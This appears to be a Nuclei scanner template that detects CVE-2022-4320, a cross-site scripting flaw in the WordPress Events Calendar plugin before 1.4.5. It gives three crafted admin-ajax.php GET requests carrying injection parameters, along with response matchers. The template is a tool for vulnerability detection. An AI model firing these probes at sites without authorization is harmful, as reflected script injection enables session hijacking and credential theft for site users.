id: CVE-2022-4320 info: name: WordPress Events Calendar <1.4.5 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. remediation: Fixed in version 1.4.5. reference: - https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c - https://nvd.nist.gov/vuln/detail/CVE-2022-4320 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-4320 cwe-id: CWE-79 epss-score: 0.00083 epss-percentile: 0.34469 cpe: cpe:2.3:a:mhsoftware:wordpress_events_calendar_plugin:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: mhsoftware product: wordpress_events_calendar_plugin framework: wordpress tags: calendar,event,xss,wordpress,wp,wp-plugin,cve,cve2022,wpscan,mhsoftware http: - method: GET path: - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX">' - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=' - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=-->' stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - 'imgNavLeftXX\">' - '({});' - '>.js' condition: or - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a0047304502210095eac400fa383c08110105d22621aa69e43c2e0346bd6a0b885d9d9bc07b537302206201343ee80c65898c6dfe04ffe5787009a7f67d6d4c76d79a510cea64f143d1:922c64590222798bb761d5b6d8e72950